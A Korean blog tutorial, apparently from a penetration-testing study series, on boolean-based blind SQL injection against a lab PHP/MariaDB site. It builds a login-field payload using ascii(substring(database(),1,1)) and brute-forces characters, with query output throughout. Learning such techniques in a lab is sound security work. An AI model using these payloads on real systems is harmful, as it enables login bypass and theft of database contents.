##############
## Blind SQLi
##############
blind SQLi은 Query 의 결과 값이 반환되지 않고 감추어져 있을 경우에 사용하는 기법이다.
그러므로 눈에 보이지 않기 때문에 하나씩 하나씩 대조해서 원하는 결과값을 얻어야 한다.
Query 결과 확인
Boolean(true, false) 타입에 따라서 판단한다.
페이지 응답을 가지고 참/거짓을 판단한다.
Time 기반을 가지고 참/거짓을 판단한다.
설정 파일 변경
# vi /etc/php.ini
display_errors = Off
# systemctl restart httpd
display_errors = On으로 설정된 경우
- 개발 서버에서 사용한다.
- 에러가 발생하면 에러가 브라우저 화면에 출력된다.
display_errors = Off로 설정된 경우
- 운영 서버에서 사용한다.
- 에러가 발생하면 에러가 브라우저 화면이 아닌 서버의 로그 파일에 출력된다.
- 로그 위치 : /var/log/httpd/
- 가상호스트로 지정했을 때의 로그 위치 : 가상호스트의 세팅 부분을 참고
/etc/httpd/conf/httpd.conf 에 가상호스트 설정이 아래와 같다.
<VirtualHost *:80>
ServerAdmin webmaster@server1.kr
DocumentRoot /var/www/html
ServerName server1.kr
ServerAlias www.server1.kr
ErrorLog logs/server1.kr-error_log
CustomLog logs/server1.kr-access_log combined
</VirtualHost>
공격자가 id 파라미터에 ' 를 넣었다고 가정한다.
http://192.168.20.101/?id=bbs1'&m=list
브라우저 화면에는 에러가 출력되지 않는다.
대신 /var/log/httpd/server1.kr-error_log 에 기록되고 내용은 아래와 같다.
[Fri Jan 28 10:39:55.211932 2022] [:error] [pid 3180] [client 192.168.20.215:18204] PHP Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/list.html on line 24
substring() : 문자열을 자르는 함수
형식 : substring(자를 문자열, 시작 위치, 개수)
substring() 함수에서 시작 위치는 1부터 시작한다.
MariaDB [mywebsite]> select 'admin';
+-------+
| admin |
+-------+
| admin |
+-------+
1 row in set (0.01 sec)
문자열에서 시작 위치를 변경하면서 출력을 확인한다.
MariaDB [mywebsite]> select substring('admin', 1, 1);
+--------------------------+
| substring('admin', 1, 1) |
+--------------------------+
| a |
+--------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring('admin', 2, 1);
+--------------------------+
| substring('admin', 2, 1) |
+--------------------------+
| d |
+--------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring('admin', 3, 1);
+--------------------------+
| substring('admin', 3, 1) |
+--------------------------+
| m |
+--------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring('admin', 4, 1);
+--------------------------+
| substring('admin', 4, 1) |
+--------------------------+
| i |
+--------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring('admin', 5, 1);
+--------------------------+
| substring('admin', 5, 1) |
+--------------------------+
| n |
+--------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring('admin', 6, 1);
+--------------------------+
| substring('admin', 6, 1) |
+--------------------------+
| |
+--------------------------+
1 row in set (0.00 sec)
개수를 늘려가면서 문자열 출력을 확인한다.
MariaDB [mywebsite]> select substring('admin', 1, 1);
+--------------------------+
| substring('admin', 1, 1) |
+--------------------------+
| a |
+--------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring('admin', 1, 2);
+--------------------------+
| substring('admin', 1, 2) |
+--------------------------+
| ad |
+--------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring('admin', 1, 3);
+--------------------------+
| substring('admin', 1, 3) |
+--------------------------+
| adm |
+--------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring('admin', 1, 4);
+--------------------------+
| substring('admin', 1, 4) |
+--------------------------+
| admi |
+--------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring('admin', 1, 5);
+--------------------------+
| substring('admin', 1, 5) |
+--------------------------+
| admin |
+--------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring('admin', 1, 6);
+--------------------------+
| substring('admin', 1, 6) |
+--------------------------+
| admin |
+--------------------------+
1 row in set (0.00 sec)
아스키코드 참고
https://ko.wikipedia.org/wiki/ASCII
ascii() : 문자의 ASCII 코드값을 10진수로 반환해주는 함수
형식 : ascii(숫자), ascii('문자')
MariaDB [mywebsite]> select ascii(1);
+----------+
| ascii(1) |
+----------+
| 49 |
+----------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select ascii('a');
+------------+
| ascii('a') |
+------------+
| 97 |
+------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select ascii('b');
+------------+
| ascii('b') |
+------------+
| 98 |
+------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select ascii('c');
+------------+
| ascii('c') |
+------------+
| 99 |
+------------+
1 row in set (0.00 sec)
MariaDB [(none)]> select ascii('m');
+------------+
| ascii('m') |
+------------+
| 109 |
+------------+
1 row in set (0.00 sec)
MariaDB [(none)]> select ascii('i');
+------------+
| ascii('i') |
+------------+
| 105 |
+------------+
1 row in set (0.00 sec)
MariaDB [(none)]> select ascii('n');
+------------+
| ascii('n') |
+------------+
| 110 |
+------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select no, userid from member;
+----+----------+
| no | userid |
+----+----------+
| 1 | test | <-- limit 0,1 첫 번째 레코드
| 2 | blackhat | <-- limit 1,1 두 번째 레코드
| 3 | admin | <-- limit 2,1 세 번째 레코드
+----+----------+
3 rows in set (0.00 sec)
MariaDB [mywebsite]> select no, userid from member limit 0, 1;
+----+--------+
| no | userid |
+----+--------+
| 1 | test |
+----+--------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select no, userid from member limit 1,1;
+----+----------+
| no | userid |
+----+----------+
| 2 | blackhat |
+----+----------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select no, userid from member limit 2, 1;
+----+--------+
| no | userid |
+----+--------+
| 3 | admin |
+----+--------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring('admin', 1, 1);
+--------------------------+
| substring('admin', 1, 1) |
+--------------------------+
| a |
+--------------------------+
1 row in set (0.00 sec)
member테이블에서 첫 번째 레코드에서 1개를 확인하는 쿼리
MariaDB [mywebsite]> select userid from member limit 0,1;
+--------+
| userid |
+--------+
| test |
+--------+
1 row in set (0.00 sec)
member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인하는 쿼리
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,1);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,1) |
+------------------------------------------------------+
| t |
+------------------------------------------------------+
1 row in set (0.00 sec)
member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 2개의 문자를 확인하는 쿼리
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,2);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,2) |
+------------------------------------------------------+
| te |
+------------------------------------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,3);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,3) |
+------------------------------------------------------+
| tes |
+------------------------------------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,4);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,4) |
+------------------------------------------------------+
| test |
+------------------------------------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,5);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,5) |
+------------------------------------------------------+
| test |
+------------------------------------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,6);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,6) |
+------------------------------------------------------+
| test |
+------------------------------------------------------+
1 row in set (0.00 sec)
a 와 같으면 결과는 1이 출력이 된다. (같으므로)
MariaDB [mywebsite]> select 'a' = 'a';
+------------+
| 'a' = 'a' |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
b 와 같으면 결과는 0이 출력이 된다. (다르므로)
MariaDB [mywebsite]> select 'a' = 'b';
+------------+
| 'a' = 'b' |
+------------+
| 0 |
+------------+
1 row in set (0.00 sec)
member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인하는 쿼리
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,1);
+------------------------------------------------------+
| substring((select userid from member limit 0,1),1,1) |
+------------------------------------------------------+
| t |
+------------------------------------------------------+
1 row in set (0.00 sec)
member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인해서
문자 a와 같으면 1이 출력되고 틀리면 0이 출력된다.
a와 같지 않으므로 0이 출력된다.
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,1) = 'a';
+------------------------------------------------------------+
| substring((select userid from member limit 0,1),1,1) = 'a' |
+------------------------------------------------------------+
| 0 |
+------------------------------------------------------------+
1 row in set (0.00 sec)
member테이블에서 첫 번째 레코드에서 substring()함수를 이용해서 첫 번째 글자부터 1개의 문자를 확인해서
문자 t와 같으면 1이 출력되고 틀리면 0이 출력된다.
t와 같으므로 1이 출력된다.
MariaDB [mywebsite]> select substring((select userid from member limit 0,1),1,1) = 't';
+------------------------------------------------------------+
| substring((select userid from member limit 0,1),1,1) = 't' |
+------------------------------------------------------------+
| 1 |
+------------------------------------------------------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select database();
+------------+
| database() |
+------------+
| mywebsite |
+------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select database();
+------------+
| database() |
+------------+
| mywebsite |
+------------+
1 row in set (0.00 sec)
MariaDB [mywebsite]> select substring(database(), 1,1);
+----------------------------+
| substring(database(), 1,1) |
+----------------------------+
| m |
+----------------------------+
1 row in set (0.00 sec)
a와 같지 않으므로 0이 출력된다.
MariaDB [mywebsite]> select substring(database(), 1,1) = 'a';
+----------------------------------+
| substring(database(), 1,1) = 'a' |
+----------------------------------+
| 0 |
+----------------------------------+
1 row in set (0.00 sec)
b와 같지 않으므로 0이 출력된다.
MariaDB [mywebsite]> select substring(database(), 1,1) = 'b';
+----------------------------------+
| substring(database(), 1,1) = 'b' |
+----------------------------------+
| 0 |
+----------------------------------+
1 row in set (0.00 sec)
m과 같으므로 1이 출력된다.
MariaDB [mywebsite]> select substring(database(), 1,1) = 'm';
+----------------------------------+
| substring(database(), 1,1) = 'm' |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
ASCII 코드 참고 : https://ko.wikipedia.org/wiki/ASCII
MariaDB [mywebsite]> select ascii(substring(database(), 1,1));
+-----------------------------------+
| ascii(substring(database(), 1,1)) |
+-----------------------------------+
| 109 |
+-----------------------------------+
1 row in set (0.00 sec)
변환되는 순서
select ascii(substring(database(), 1,1)); database() : 'mywebsite'
select ascii(substring('mywebsite', 1,1)); substring() : 'm'
select ascii('m'); ascii() : 109
m 이므로 1이 출력된다.
MariaDB [mywebsite]> select ascii(substring(database(), 1,1)) = 109;
+-----------------------------------------+
| ascii(substring(database(), 1,1)) = 109 |
+-----------------------------------------+
| 1 |
+-----------------------------------------+
1 row in set (0.00 sec)
m 이 아니므로 0이 출력된다.
MariaDB [mywebsite]> select ascii(substring(database(), 1,1)) = 108;
+-----------------------------------------+
| ascii(substring(database(), 1,1)) = 108 |
+-----------------------------------------+
| 0 |
+-----------------------------------------+
1 row in set (0.00 sec)
사용자가 로그인할 때 쿼리
아이디/비번이 맞은 경우
MariaDB [mywebsite]> select * from member where userid='admin' and userpass = password('111111');
+----+-----------+--------+-------------------------------------------+-----------+---------------+---------------------+
| no | username | userid | userpass | useremail | ipaddr | date |
+----+-----------+--------+-------------------------------------------+-----------+---------------+---------------------+
| 3 | 관리자 | admin | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | admin | 192.168.101.1 | 2022-01-23 04:31:35 |
+----+-----------+--------+-------------------------------------------+-----------+---------------+---------------------+
1 row in set (0.00 sec)
아이디/비번이 틀린 경우
MariaDB [mywebsite]> select * from member where userid='admin' and userpass = password('222222');
Empty set (0.00 sec)
SELECT * FROM member WHERE userid='admin' and userpass=password('111111')
~~~~~ ~~~~~~
사용자가 입력하는 부분 1 2
id : ' or ascii(substring(database(), 1,1)) = 109#
pw : 222222
SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 109#' and userpass=password('222222')
아래처럼 쿼리가 만들어진다.
109 == m
SELECT * FROM member WHERE userid='' or 109 = 109
+----+-----------+----------+-------------------------------------------+----------------+---------------+---------------------+
| no | username | userid | userpass | useremail | ipaddr | date |
+----+-----------+----------+-------------------------------------------+----------------+---------------+---------------------+
| 1 | 공격자 | test | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | attack@a.com | 192.168.108.1 | 2022-01-23 04:31:35 |
| 2 | 블랙햇 | blackhat | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | test@naver.com | 192.168.108.1 | 2022-01-23 04:31:35 |
| 3 | 관리자 | admin | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | admin | 192.168.101.1 | 2022-01-23 04:31:35 |
+----+-----------+----------+-------------------------------------------+----------------+---------------+---------------------+
3 rows in set (0.00 sec)
atabase가 m 으로 시작하는지 모르므로 처음부터 109(m)로 비교하면 안되고
97(a)부터 비교해서 숫자를 증가시키면 109가 되는 순간 같으므로 모든 레코드가 출력된다.
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 97;
Empty set (0.00 sec)
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 98;
Empty set (0.00 sec)
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 99;
Empty set (0.00 sec)
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 100;
Empty set (0.00 sec)
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 101;
Empty set (0.00 sec)
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 102;
Empty set (0.00 sec)
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 103;
Empty set (0.00 sec)
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 104;
Empty set (0.00 sec)
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 105;
Empty set (0.00 sec)
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 106;
Empty set (0.00 sec)
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 107;
Empty set (0.00 sec)
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 108;
Empty set (0.00 sec)
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 108;
Empty set (0.00 sec)
MariaDB [mywebsite]> SELECT * FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 109;
+----+-----------+----------+-------------------------------------------+----------------+---------------+---------------------+
| no | username | userid | userpass | useremail | ipaddr | date |
+----+-----------+----------+-------------------------------------------+----------------+---------------+---------------------+
| 1 | 공격자 | test | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | attack@a.com | 192.168.108.1 | 2022-01-23 04:31:35 |
| 2 | 블랙햇 | blackhat | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | test@naver.com | 192.168.108.1 | 2022-01-23 04:31:35 |
| 3 | 관리자 | admin | *FD571203974BA9AFE270FE62151AE967ECA5E0AA | admin | 192.168.101.1 | 2022-01-23 04:31:35 |
+----+-----------+----------+-------------------------------------------+----------------+---------------+---------------------+
# 이후는 주석처리가 되므로
MariaDB [mywebsite]> SELECT userid FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 109#' and userpass=password('222222')
쿼리의 결과는 아래처럼 된다.
MariaDB [mywebsite]> SELECT userid FROM member WHERE userid='' or ascii(substring(database(), 1,1)) = 109;
'Linux > 모의해킹' 카테고리의 다른 글
| 로그인 성공/실패를 출력하는 파이썬 코드 작성 (0) | 2022.01.30 |
|---|---|
| 로그인 폼에 로그인하기 (+Python) (0) | 2022.01.30 |
| 게시판 목록에서 member 테이블의 컬럼을 모두 출력 (0) | 2022.01.30 |
| 웹 공격하기 (0) | 2022.01.30 |
| 방화벽으로 직접 접속 금지하기 (0) | 2022.01.30 |